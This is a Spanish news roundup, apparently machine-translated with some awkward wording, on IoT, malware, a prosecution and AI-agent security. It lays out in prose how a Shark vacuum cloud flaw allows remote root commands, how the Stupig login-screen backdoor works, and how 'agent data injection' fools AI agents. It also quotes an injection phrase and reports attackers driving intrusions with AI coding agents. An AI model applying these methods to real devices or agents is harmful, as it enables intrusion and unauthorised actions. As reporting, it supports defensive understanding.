  • Bloquee el acceso externo a la Administración central de SharePoint, restrinja las comunicaciones de la granja y de la base de datos a los sistemas requeridos y revise las políticas de Microsoft. Guía para reforzar la seguridad de SharePoint Server para puertos, servicios y configuraciones de Web.config específicos de cada función.

El jueves, la agencia también agregó dos fallas de seguridad críticas que afectan a Fortinet FortiSandbox (CVE-2026-25089 y CVE-2026-39808) al catálogo KEV, siguiendo informes de explotación activa. Las agencias federales tienen hasta el 19 de julio de 2026 para actualizar sus instancias a las últimas versiones compatibles.

Una falla en la aspiradora Shark sin parches podría permitir a los atacantes controlar otras aspiradoras en toda la región – CYBERDEFENSA.MX

Retire el certificado del flash de un robot aspirador Shark RV2320EDUS y podrá ejecutar comandos raíz en los aspiradores Shark de otras personas en la misma región de AWS: mire la cámara, conduzca el robot, lea el mapa de la casa y tome la contraseña de Wi-Fi en texto plano.

Un investigador que publica bajo el nombre tokay0 poner el método en línea el lunes, después de haberlo probado sólo con aspiradoras que compró él mismo. El defecto no se solucionó entonces.

Dice que SharkNinja, la compañía detrás de las marcas de electrodomésticos Shark y Ninja, ha recibido su informe desde marzo.

La política adjunta a ese certificado nunca tuvo como alcance el dispositivo que lo posee. Preséntelo al corredor en la nube de Shark y el corredor aceptará todo lo que publique, dirigido a cualquier dispositivo al que sirva.

Sin corrupción de memoria, sin escalada de privilegios, sin contraseña que adivinar. El comando que se ejecuta es un campo normal en la sombra del dispositivo, el documento de estado por dispositivo que AWS mantiene en la nube.

Utilizando el certificado de un RV2320EDUS, el investigador se suscribió a $aws/things/# y observó el tráfico que cruzaba el corredor, recopilando números de serie a medida que avanzaba. La publicación funciona de la misma manera. La sombra lleva un campo Exec_Command que el demonio de administración appd lee y entrega a una función llamada ejecutar_command, que ejecuta cualquier cosa de menos de 1000 bytes a través de popen.

Envíe una actualización paralela que lleve ese campo al tema de un dispositivo. Si ese dispositivo implementa el controlador, ejecuta el comando.

Probó el camino entre modelos, colocando un proyectil inverso en un AV1102ARUS que compró simplemente como objetivo, y luego usó ese proyectil para obtener una transmisión en vivo de la cámara integrada del modelo mientras el robot conducía.

El certificado se quita con un destornillador. La placa base expone los pines UART, la consola U-Boot no solicita contraseña e init=/bin/sh en los argumentos de arranque lo lleva a un shell raíz, donde la clave por dispositivo y el certificado se encuentran en /mnt/res/vapp/certs/ como archivos normales.

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Los certificados están fijados a su región de AWS, lo más parecido aquí a un límite: una clave levantada en una región solo llega a los dispositivos de esa región. Para llegar a otra región se necesita otro certificado, aprovisionado allí, y que lleva la misma política rota.

Amazon tiene una verificación de auditoría para esta forma de política exacta. Device Defender, el servicio de auditoría de flotas de IoT de AWS, marca políticas de dispositivos que permiten publicar o suscribirse en $aws/things/* en lugar de fijar el tema al dispositivo que se conecta con ${iot:Connection.Thing.ThingName}.

Aparece como IOT_POLICY_OVERLY_PERMISSIVE_CHECK y AWS lo califica como crítico, advirtiendo en su documentacion que un certificado comprometido que lleva dicha política permite a un atacante «leer o modificar sombras, trabajos o ejecuciones de trabajos para todos sus dispositivos».

No todos los certificados son una clave maestra. Un vacío cuyo certificado lleva la política rota es la clave de un atacante. Cualquier vacío que ejecute Exec_Command es un objetivo, independientemente de si su propio certificado tiene el alcance correcto o no. El AV1102ARUS es un destino y no una clave: su certificado tenía el alcance correcto y no se pudo realizar una suscripción comodín. Su firmware era varios años más nuevo.

Él lo interpreta como una solución de aprovisionamiento que nunca alcanzó los certificados de la flota más antigua. Es por eso que el modelo cruzado funcionó, y por qué su afirmación de que cada aspiradora Shark conectada a Internet es vulnerable debe dividirse en dos.

El titular de su publicación dice millones. La cifra que verificó es más estrecha. Al observar una región de AWS durante 24 horas, tokay0 contó 1.517.605 números de serie únicos de Shark, de los cuales 673.816, o el 44%, emitieron un Exec_Response, que considera como una confirmación de que el dispositivo ejecuta el controlador de comandos. Se trata de dispositivos observados respondiendo, no dispositivos probados o comprometidos, y dice que el número real probablemente sea mayor.

Cuatro meses y contando

Según el relato de la correspondencia de tokay0, se comunicó con SharkNinja el 1 de marzo y envió detalles el 11 de marzo. La compañía acusó recibo al día siguiente, le dijo el 27 de abril que el informe estaba bajo revisión y el 3 de julio dijo que enviaría una fecha de finalización confirmada para el viernes 10 de julio. No llegó ningún correo electrónico.

Lo publicó el 13 de julio. Dice que el proveedor minimizó la gravedad y cuestionó si «un CVE es apropiado».

En lo que respecta específicamente a los informes de IoT, SharkNinja publicó política de divulgación de vulnerabilidades compromete a la empresa a «proporcionar actualizaciones periódicas hasta que se resuelva la vulnerabilidad informada». La misma política pide a los investigadores que permanezcan en silencio hasta que la empresa confirme una solución o autorice la divulgación por escrito.

SharkNinja no había publicado nada sobre el defecto hasta el jueves. The Hacker News se comunicó con la compañía para comentar sobre el estado del parche y el cronograma de divulgación, y actualizará esta historia con cualquier respuesta.

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Tampoco hay CVE. Le pidió una identificación al CNA de último recurso de MITRE, el asignador que maneja las vulnerabilidades que ningún proveedor cubre, el 11 de junio y no había escuchado nada cuando publicó. Sin identificador, sin CVSS, sin aviso: nada que un programa de gestión de vulnerabilidades pueda ingresar.

La solución está en el lado del servidor

La solución no la debe instalar el propietario. Vive en la cuenta AWS de SharkNinja, no en el firmware del robot. Según AWS guía de remediaciónuna política que no cumple se reemplaza al enviar una versión con alcance con CreatePolicyVersion y el indicador setAsDefault, lo que hace que esa versión sea operativa para todos los certificados que usan la política.

No se requiere implementación de firmware. Reemitir los certificados correctamente, algo que tokay0 recomendó en marzo, es el trabajo más largo que hay detrás.

Hasta que SharkNinja haga una u otra cosa, la única mitigación disponible para el propietario es desconectar la aspiradora del Wi-Fi. Esto pone fin al control de aplicaciones, la programación y los mapas, y convierte el producto nuevamente en un vacío.

tokay0 retuvo sus guiones mientras la falla esté activa. Consideró que sus otros hallazgos eran demasiado menores para escribirlos.

Tampoco examinó el resto de la línea conectada de SharkNinja, las parrillas inteligentes y las sondas inalámbricas para carne, que, según él, probablemente también sean vulnerables. Esos productos provienen de la misma empresa cuya política promete actualizaciones periódicas hasta que se resuelva una falla. Cuatro meses después, éste no lo es.

Daxin resurge en Taiwán junto con la puerta trasera del SISTEMA de inicio de sesión previo de Stupig – CYBERDEFENSA.MX

Un malware avanzado previamente atribuido a un actor de amenazas vinculado a China ha resurgido después de más de cuatro años dentro de una empresa de fabricación de Taiwán, junto con una puerta trasera no reportada anteriormente denominada estúpido.

Daxin («srt64.sys»), como se conoce al rootkit en modo kernel, fue documentado por primera vez por Symantec, propiedad de Broadcom, en marzo de 2022, con evidencia que indica su uso en ataques dirigidos a gobiernos y otros objetivos de infraestructura crítica desde 2013.

Los últimos hallazgos del equipo Symantec y Carbon Black Threat Hunter muestran que Daxin todavía está operativo, después de que se descubrió que se ejecutaba en un host comprometido en Taiwán en 2026. También se dice que la misma máquina, perteneciente a una filial con sede en Taiwán de un fabricante multinacional de alta tecnología, ha sido infectada con Stupig («a.dll» o «kbdus1.dll»). El nombre del archivo es un intento de hacerse pasar por «kbdus.dll», una DLL legítima de Microsoft asociada con la distribución del teclado en inglés de EE. UU.

«Stupig utiliza una técnica no documentada en ninguna familia de malware conocida», dijo el brazo de ciberseguridad de Broadcom. dicho. «Una DLL de diseño de teclado troyanizada cargada por ‘winlogon.exe’ permite a un atacante ejecutar comandos como Sistema directamente desde la pantalla de inicio de sesión de Windows, antes de que alguien inicie sesión y sin generar un evento de auditoría de inicio de sesión».

Lo que hace que la intrusión se destaque es que ambos artefactos llevan una marca de tiempo de compilación de principios de 2013, aunque la máquina comprometida no comenzó a informar telemetría hasta el 12 de mayo de 2026. Dada la capacidad del actor de amenazas para permanecer sin ser detectado durante largos períodos de tiempo, se sospecha que el ataque pudo haber pasado desapercibido durante 13 años.

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No se han identificado superposiciones a nivel de código entre Daxin y Stupig, aunque su implementación conjunta en el mismo host, junto con funciones complementarias, similitudes en las prácticas de desarrollo y las marcas de tiempo de compilación de 2013, sugieren que pueden haber sido obra del mismo actor de amenazas.

Daxin tiene un enfoque inusual de mando y control. En lugar de establecer directamente conexiones salientes con una infraestructura controlada por el atacante, la puerta trasera del controlador en modo kernel de Windows monitorea el tráfico TCP entrante en busca de patrones específicos y secuestra conexiones legítimas existentes para comunicaciones C2 cifradas para integrarse con la actividad regular. Está equipado para interactuar con máquinas que están físicamente desconectadas de Internet.

«Esto hizo que Daxin fuera excepcionalmente difícil de identificar con el monitoreo de red convencional», señaló Broadcom. «El malware también admitía comunicaciones de múltiples saltos a través de cadenas de hosts infectados, lo que permitía a los operadores llegar a sistemas en segmentos de red aislados».

Se desconoce exactamente cómo y cuándo se vio comprometido el host, pero se sospecha que es una versión desactualizada del Portal de inicio de sesión único (SSO) de Digiwin que utilizaba instalaciones del Java Development Kit (JDK) 1.5 y 1.6 al final de su vida útil que se remontan a 2009 a 2011.

«Stupig es una puerta trasera DLL que logra persistencia registrándose como proveedor de distribución de teclado, lo que hace que win32k.sys lo cargue en winlogon.exe al iniciar el sistema», explicó el equipo de cazadores de amenazas. «La DLL devuelve un puntero KBDTABLES válido para que la distribución del teclado funcione normalmente, sin revelar nada a ningún proceso o administrador que inspeccione el módulo cargado».

Una vez que comienza a ejecutarse dentro de «winlogon.exe», está atento a los nombres de usuario que comienzan con la cadena «stupig» en la pantalla de inicio de sesión de Windows. Cuando se ingresa el nombre de usuario, cualquier cadena que siga al prefijo se interpreta como un comando y se ejecuta con privilegios de SISTEMA. Si no se ingresa ningún comando después del prefijo, genera una sesión de símbolo del sistema como SISTEMA en la pantalla de inicio de sesión.

El descubrimiento de Daxin en 2026 demuestra que la operación de ciberespionaje nunca se detuvo por completo. Más bien, se quedó en silencio, manteniendo una persistencia sigilosa en las redes específicas.

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«Al esconderse dentro del proceso de inicio de sesión de Windows y registrarse como proveedor de distribución de teclado, Stupig ofrece a los operadores ejecución de comandos a nivel de SISTEMA y robo de credenciales antes de que un usuario inicie sesión, un método de acceso que la mayoría de los defensores no conocen ni vigilan», dijeron Symantec y Carbon Black. «No se puede confirmar si los mismos operadores implementaron ambas herramientas, pero sus funciones son complementarias».

La divulgación se produce cuando Hunt.io dijo que observó a un presunto actor de amenazas vinculado a China que utilizaba Anthropic Claude Code y modelos DeepSeek para automatizar intrusiones contra sistemas gubernamentales y financieros en Afganistán, Tailandia, Taiwán y EE. UU. El descubrimiento se basa en un directorio abierto («112.213.124[.]132») que se ha descubierto que comparte huellas digitales de encabezado HTTP idénticas con la infraestructura conocida de comando y control (C2) de TencShell.

«Manejaron el razonamiento para técnicas de derivación, reelaboraron exploits después de intentos fallidos y crearon páginas de phishing utilizadas para recolectar credenciales», la firma de inteligencia de amenazas. dicho.

«Claude Code sirve como motor de ejecución, gestiona el uso de herramientas agentes, la ejecución de comandos bash, la persistencia de sesiones y la paralelización de tareas. DeepSeek-v4-pro opera como modelo de razonamiento subyacente, maneja la lógica de ataque, la generación de scripts y la toma de decisiones. En resumen, la lógica ofensiva se dirige a través de un LLM nacional chino mientras se aprovecha la infraestructura de ejecución agente de Anthropic».

Dos hackers Spider dispersos obtienen 5,5 años cada uno por un hack TfL de £ 29 millones – CYBERDEFENSA.MX

flores owen18, y Thalha Jubairde 20 años, fueron condenados cada uno a cinco años y medio en el Tribunal de la Corona de Woolwich el jueves 16 de julio de 2026 por el hackeo de 2024 a Transport for London.

El ataque dejó inoperables 148 sistemas TfL y obligó a los 27.000 empleados de la autoridad de transporte a ir a una oficina para restablecer sus contraseñas en persona. Tanto la NCA como la CPS cifran las pérdidas y los costes de recuperación de TfL en 29 millones de libras esterlinas.

Ambos se declaró culpable el 22 de junio de 2026el día en que debía comenzar su juicio. El cargo era el artículo 3ZA de la Ley de uso indebido de computadoras de 1990, el más grave de la ley, y lo admitieron basándose en que fueron imprudentes en cuanto a si causaron o crearon un riesgo significativo de daño grave al bienestar humano.

El CPS dice que se cree que Flowers y Jubair son los primeros piratas informáticos procesados ​​con éxito en virtud de la Sección 3ZA. El ANC cuenta el caso como sólo el segundo procesamiento de este tipo. Las dos lecturas pueden ir juntas, una contando los procesamientos iniciados bajo la sección y la otra contando aquellos que terminaron en condena, pero ninguna agencia explica la brecha.

La NCA lo considera el mayor procesamiento por delitos cibernéticos que jamás hayan visto los tribunales del Reino Unido.

La intrusión se produjo del 31 de agosto al 3 de septiembre de 2024. TfL supervisa una media de 9 millones de viajes al día. Dial-a-Ride, el servicio de reservas que lleva a los londinenses vulnerables a recorrer la ciudad, cayó, junto con el canal de pagos digitales y la emisión de tarjetas de viaje en condiciones favorables.

Se cerraron las solicitudes para las tarjetas fotográficas Oyster, las tarjetas de tarifa reducida para niños y jóvenes de Londres. La extensión de la venta de boletos sin contacto disminuyó y los reembolsos aumentaron.

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TfL dijo a los clientes que se había accedido a nombres y direcciones de correo electrónico, junto con las direcciones particulares donde los guardaba. Es posible que los datos de reembolso de Oyster también hayan desaparecido, incluidos los números de cuentas bancarias y los códigos de clasificación de unas 5.000 personas.

Sólo ellos dos sabían lo que querían hacer con el acceso, dice el CPS, aunque sus conversaciones sugirieron que borrarían el acceso al salir. De ahí proviene la mayor cifra del caso: la NCA dice que un cierre exitoso de la red podría haber costado a la economía del Reino Unido hasta £56 mil millones, y el CPS sitúa la misma hipótesis en miles de millones. Se mantuvo hipotético, dice el CPS, porque TfL desmanteló su propia red para contenerlos.

flores era Fue arrestado en su casa el 6 de septiembre de 2024, tres días después de que terminara la intrusión de TfL, y la NCA dice que los agentes lo encontraron en medio de un ataque a dos organizaciones de atención médica estadounidenses, SSM Health Care Corporation y Sutter Health.

Los investigadores confiscaron computadoras portátiles, computadoras de torre, discos duros y memorias USB. Una computadora portátil contenía una captura de pantalla de la conectividad de red a la infraestructura de TfL, además de videos que Flowers había grabado de Jubair moviéndose a través de los sistemas de TfL durante el ataque. La pareja estaba enviando mensajes en Telegram mientras sucedía y compartiendo un espacio de trabajo en línea.

Los fiscales demostraron que Flowers había estado conectado al servidor remoto utilizado para lanzar las tres intrusiones, y sus propios dispositivos lo vincularon a las tres. La información que vincula a Jubair con TfL fue descubierta en el extranjero y obtenida con la ayuda de los fiscales allí.

Flowers admitió dos cargos más sobre ataques a la atención médica, una conspiración contra SSM Health y un atentado contra Sutter Health. El CPS dice que amenazó con bloquear esos sistemas y reconoció en los chats que «Podría matar a una persona de 90 años con soporte vital». El arresto es lo que lo detuvo.

La NCA describe a ambos hombres como miembros destacados de Scattered Spider, el equipo de extorsión también rastreado como Octo Tempest, UNC3944 y 0ktapus. El CPS es más cuidadoso y dice que los acusados ​​afirmaron en varios momentos ser miembros de un grupo que, según los fiscales, llevó a cabo cientos de ataques entre 2022 y 2025.

El FBI, citado en el anuncio de la NCA, vincula al grupo con extorsión de datos, intercambio de SIM e ingeniería social.

El otro caso de Jubair sigue abierto

una queja abierto en Nueva Jersey en septiembre de 2025 acusa a Jubair de fraude informático, fraude electrónico y conspiraciones de lavado de dinero. La denuncia sitúa el plan en aproximadamente 120 intrusiones en la red y al menos 47 víctimas en Estados Unidos entre mayo de 2022 y septiembre de 2025, con más de 115 millones de dólares pagados en rescates.

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Los fiscales también lo ubican en intrusiones en una empresa de infraestructura crítica de EE. UU. y en los tribunales de EE. UU., y alegan que sacó alrededor de $ 8,4 millones en criptomonedas de una billetera de servidor mientras los agentes las confiscaban. Esas son acusaciones que no han sido probadas en los tribunales. El máximo en todos los aspectos es 95 años. Ni el anuncio del Departamento de Justicia ni los comunicados del jueves en el Reino Unido abordan la extradición.

¿Está terminada la Araña Dispersa?

La NCA dice que su acción contra los dos hombres detuvo efectivamente al grupo y cita la evaluación de Microsoft de que los arrestos degradaron materialmente la capacidad del grupo para operar. Al mismo tiempo, permite que otros delincuentes puedan seguir usando la marca.

Scattered Spider no es la única marca a la que le queda vida. En enero, Mandiant siguió una expansión de extorsión de la marca ShinyHunters que ejecuta el mismo tipo de ingeniería social: llamadas vishing a los empleados, páginas de recolección de credenciales de la marca de la víctima para capturar inicios de sesión SSO y códigos MFA, luego el propio dispositivo del atacante se inscribe en MFA.

Ni los comunicados escritos de la NCA ni del CPS establecen cómo Flowers y Jubair llegaron por primera vez a TfL. de google guía de endurecimiento de la misma investigación coloca la solución en un solo lugar: verificar la identidad en el restablecimiento de contraseñas, el registro de dispositivos y los cambios de MFA, los flujos de trabajo manuales a los que estos equipos llaman y siguen.

Paul Foster, que dirige la Unidad Nacional de Delitos Cibernéticos de la NCA, quiere una cosa de todos los demás: llamar a las autoridades lo antes posible. Dice que estas condenas probablemente no se habrían producido si TfL no lo hubiera hecho.

La policía de la ciudad de Londres utilizó la sentencia para ejercer presión en favor de un poder que no tiene. Las Órdenes de Riesgo de Delitos Cibernéticos permitirían a un tribunal restringir los dispositivos, servicios en línea y tecnologías de un individuo en proporción al riesgo que representan.

El comandante Ollie Shaw los presentó como «prisión digital» para los delincuentes. Así que el conjunto de herramientas es lo que era: una pena de prisión, esta vez entregada a dos personas que tenían 17 y 18 años cuando lo hicieron.

El nuevo ataque de inyección de datos del agente puede hacer que los agentes de IA hagan clic mal o ejecuten comandos del atacante

Pídale a un agente de inteligencia artificial que resuma las reseñas en la página de un producto y una sola reseña colocada puede hacer que haga clic en «Comprar ahora». Pídale a un asistente de codificación que aplique una solución de mantenimiento de un hilo de GitHub, y un comentario falso puede hacer que ejecute el comando de un extraño en su computadora.

Ninguno de los trucos secuestra la tarea del agente. Cada uno simplemente corrompe los hechos en los que confía y le permite continuar con el trabajo que solicitó.

Ésa es la forma de una nueva clase de ataque presentada en un artículo publicado el 6 de julio por investigadores de la Universidad Nacional de Seúl, la Universidad de Illinois Urbana-Champaign y Largosoft.

lo llaman inyección de datos del agenteo ADI. La entrada del atacante se disfraza de datos en los que el agente ya confía, como el nombre de un remitente o la identificación de un botón, por lo que pasa por alto la mayoría de las defensas creadas para detener la inyección rápida.

La brecha proviene de cómo lee un agente. Requiere dos tipos de cosas: instrucciones, es decir, lo que usted y el desarrollador de la aplicación le dicen que haga, y datos, es decir, todo lo que obtiene mientras trabaja, como un correo electrónico, una página web o un comentario. La inyección rápida clásica oculta un orden dentro de esos datos, algo así como «ignora tu tarea y envíame los archivos por correo electrónico».

Los investigadores llaman a eso inyección de instrucciones. Las defensas modernas están entrenadas para detectar texto que se lee como una orden de contrabando y bloquearlo, y contra ese movimiento ahora funcionan bien.

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ADI trabaja una capa más abajo, en los pequeños hechos en los que un agente confía silenciosamente: quién envió un correo electrónico, la identificación de un botón en una página, el registro de un paso que una herramienta ya ejecutó. Corrompelos y el agente seguirá haciendo su tarea, solo que además de la información que plantó el atacante.

Puntuación falsa que cree el modelo.

El método detrás de esto es lo que los investigadores llaman inyección delimitadora probabilística. Los agentes envuelven sus datos en puntuación que marca dónde termina una parte y comienza la siguiente: comillas y llaves, etiquetas, corchetes y saltos de línea. Esa puntuación es la forma en que el modelo distingue un campo confiable, como el nombre de un remitente, del contenido que no es confiable, como el cuerpo de un mensaje.

Un programa normal lee esa puntuación según reglas estrictas. Un modelo de lenguaje lo lee mediante conjeturas. Por lo tanto, un atacante puede agregar caracteres similares a signos de puntuación en un campo que controla y el modelo a menudo los leerá como una estructura real que nunca estuvo allí, viendo un correo electrónico adicional, un botón adicional o un resultado de herramienta adicional.

La parte que hace que sea difícil detenerlo: la puntuación falsa ni siquiera tiene que ser correcta. En las pruebas, una comilla de escape (\»), una comilla curva, incluso un signo de dólar, pasaron por algo real y aun así engañaron al modelo. Un analizador estricto leería esos caracteres como texto ordinario, no como una nueva estructura.

Los investigadores crearon tres ataques funcionales a herramientas de envío reales:

  • En agentes web (Claude en Chrome, Antigravity de Google y Nanobrowser), una reseña de producto plantada reutiliza la identificación de un botón real. El agente quiere hacer clic en «Leer más» y en su lugar hace clic en «Comprar ahora», realizando un pedido que el usuario nunca realizó. Debido a que estas herramientas numeran los elementos de la página en orden, el atacante puede calcular la identificación con anticipación.
  • Sobre asistentes de codificación (Claude Code, Codex de OpenAI y Gemini CLI de Google), un comentario de GitHub falsifica su línea de autor para que parezca que la escribió un mantenedor del proyecto. Cuando se le indica que aplique la solución del mantenedor, el agente ejecutará el comando del atacante en la máquina del desarrollador si el desarrollador aprueba lo que parece un paso de rutina.
  • Una solicitud de extracción maliciosa falsifica el registro de un cheque que el agente nunca ejecutó, por lo que aparece un resultado limpio en su historial. El agente revisa ese resultado falso, considera que el código es seguro y procede a fusionarlo, incorporando el código malicioso real al proyecto una vez que el desarrollador lo aprueba.

La mayoría de estas herramientas ya preguntan antes de hacer algo arriesgado. Claude en Chrome pregunta antes de hacer clic; preguntan los asistentes de codificación antes de ejecutar un comando. No ayuda mucho. El mensaje de clic solo dice que el agente quiere hacer clic en un elemento, no en cuál ni por qué.

Los asistentes de codificación muestran su razonamiento, pero ese razonamiento se basa en hechos falsos, por lo que parece una explicación sensata de un paso normal. Al mirar la pantalla, un usuario tiene pocas formas de distinguir una aprobación real de una fabricada.

Y todos los modelos probados resultaron vulnerables: GPT-5.2 y GPT-5-mini de OpenAI, Claude Opus 4.5 y Sonnet 4.5 de Anthropic, y Gemini 3 Pro y Flash de Google. En los seis, funcionó con datos estructurados entre el 31% y el 43% del tiempo, y con datos de páginas web desde un tercio de los intentos hasta todos ellos.

Contra las defensas de agentes especialmente diseñadas que los investigadores probaron, se abrió la brecha: el clásico ataque de contrabando de órdenes fue bloqueado casi por completo, con una tasa de éxito cercana a cero, mientras que ADI aún tuvo éxito hasta el 50% de las veces. Mismas defensas, resultados muy diferentes, porque fueron construidas para el otro ataque.

¿Qué es lo que realmente lo detiene?

No todo cayó. El navegador Atlas de ChatGPT hizo caso omiso del ataque de clic porque etiqueta cada elemento de la página con una identificación aleatoria e indescifrable en lugar de un simple contador, por lo que el atacante no puede falsificar una coincidencia. Los investigadores encontraron que la misma idea, una breve etiqueta aleatoria agregada a los nombres de los campos, la redujo aproximadamente a la mitad, de aproximadamente el 49% al 29% en sus pruebas, manteniendo al mismo tiempo los agentes útiles.

Una defensa más fuerte que rastrea de dónde proviene cada dato lo excluyó por completo, cero ataques exitosos, pero dejó a los agentes terminando solo alrededor de un tercio de sus tareas ordinarias. Eliminar la puntuación también redujo el ataque, pero rompió la capacidad de los agentes para leer cosas normales como enlaces y rutas de archivos junto con él.

Los investigadores solo describen ataques de prueba de concepto y no hay ningún informe público sobre el uso de ADI en la naturaleza. El equipo informó todo a los proveedores afectados antes de publicarlo; OpenAI, Google y Anthropic reconocieron los informes, y Nanobrowser no había respondido al momento del artículo.

Para que el ataque funcione, es necesario que se alineen un par de cosas. El agente tiene que procesar contenido que un extraño puede editar, que es lo que hacen los agentes web y de GitHub todo el día. Y el atacante debe conocer el formato en el que el agente empaqueta sus datos.

Los investigadores dicen que un atacante puede recuperar el formato de una herramienta de código abierto o ejecutada localmente leyendo su código o aplicando ingeniería inversa, y que un servicio en la nube es más difícil, donde puede requerir un jailbreak que no está garantizado que funcione.

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Según el documento, los investigadores también están publicando su código de ataque y de referencia, para que los proveedores y defensores puedan probarlo.

Woohyuk Choi, quien escribió el documento con el profesor Byoungyoung Lee, dijo a The Hacker News que OpenAI, Google y Anthropic han confirmado que el ataque es válido, y que OpenAI y Google pidieron una copia del documento. Más allá de eso, dijo, el equipo «no ha sido informado de ninguna solución, ya sea enviada o planificada».

En la parte difícil, recuperar el formato que utiliza un servicio en la nube, Choi dijo que el equipo lo logró de todos modos. Para ese formato del lado del servidor, que un atacante no puede ver directamente, consiguieron que el modelo lo revelara con un jailbreak de varios turnos y, con distintos esfuerzos, funcionó contra GPT, Claude y Gemini.

Incluso existe un atajo: los modelos más grandes y más pequeños de una empresa tienden a compartir el mismo formato, por lo que un atacante puede extraerlo de un modelo más pequeño, que es más fácil de romper. Choi espera que el formato siga siendo recuperable incluso cuando los modelos mejoren, porque los modelos de lenguaje no pueden mantener de manera confiable ese tipo de secreto.

donde encaja esto

El problema de confianza subyacente ya ha salido a la luz antes. En junio de 2025, Aim Security reveló EchoLeak (CVE-2025-32711), una falla en Microsoft 365 Copilot donde se podía crear un correo electrónico que podía hacer que el asistente filtrara archivos internos sin necesidad de hacer clic.

Microsoft lo parchó y no se informó ningún abuso en el mundo real, pero fue un caso temprano y concreto de una idea de inyección rápida convertida en una ruta funcional de exfiltración de datos en un producto de envío. EchoLeak fue esa historia en su primera forma: un orden oculto. ADI es la siguiente vuelta de tuerca.

El ángulo de GitHub tampoco es nuevo. En mayo de 2025, Invariant Labs mostró que un problema público de GitHub podría Dirigir a un agente para que lea un repositorio privado y lo filtre.un problema de diseño sin un parche limpio.

Más recientemente, las pruebas entre proveedores han empujado a Claude Code, Gemini CLI y Copilot a filtrar sus propios secretos a través de textos de problemas y solicitudes de extracción, eludiendo las barreras de seguridad que GitHub agregó exactamente para eso. Esos ataques introdujeron instrucciones de contrabando. ADI falsifica quién dijo qué y falsifica el registro de lo que el agente ya hizo.

Los investigadores lo atribuyen a una lección que el software tradicional aprendió por las malas: mantener separados el código y los datos, y luego separar los datos confiables de los que no lo son.

Los agentes retomaron la primera mitad y se saltaron la segunda. Dentro de la propia memoria de un agente, el nombre de un correo electrónico se encuentra justo al lado del cuerpo de ese correo electrónico, sin nada que marque lo que el sistema avala y lo que escribió un extraño. Hasta que los agentes tracen esa línea, todo lo que necesita un ataque es una mentira convincente sobre quién envió algo.

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A lot of this week’s trouble starts with something that looks close enough.

A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster than the explanation.

Old bugs are back, weak defaults are earning their keep, and some attack paths are so plain they barely feel like research. Here’s the mess.

The lesson is not “trust nothing.” It is to stop granting trust in bulk. Check the repo, the installer, the account, the exposed service. Small shortcuts keep turning into full attack paths.

And when a bug looks old, awkward, or too simple to matter, assume someone has already found a use for it. Patch the boring stuff. Tighten the defaults. Watch the handoffs.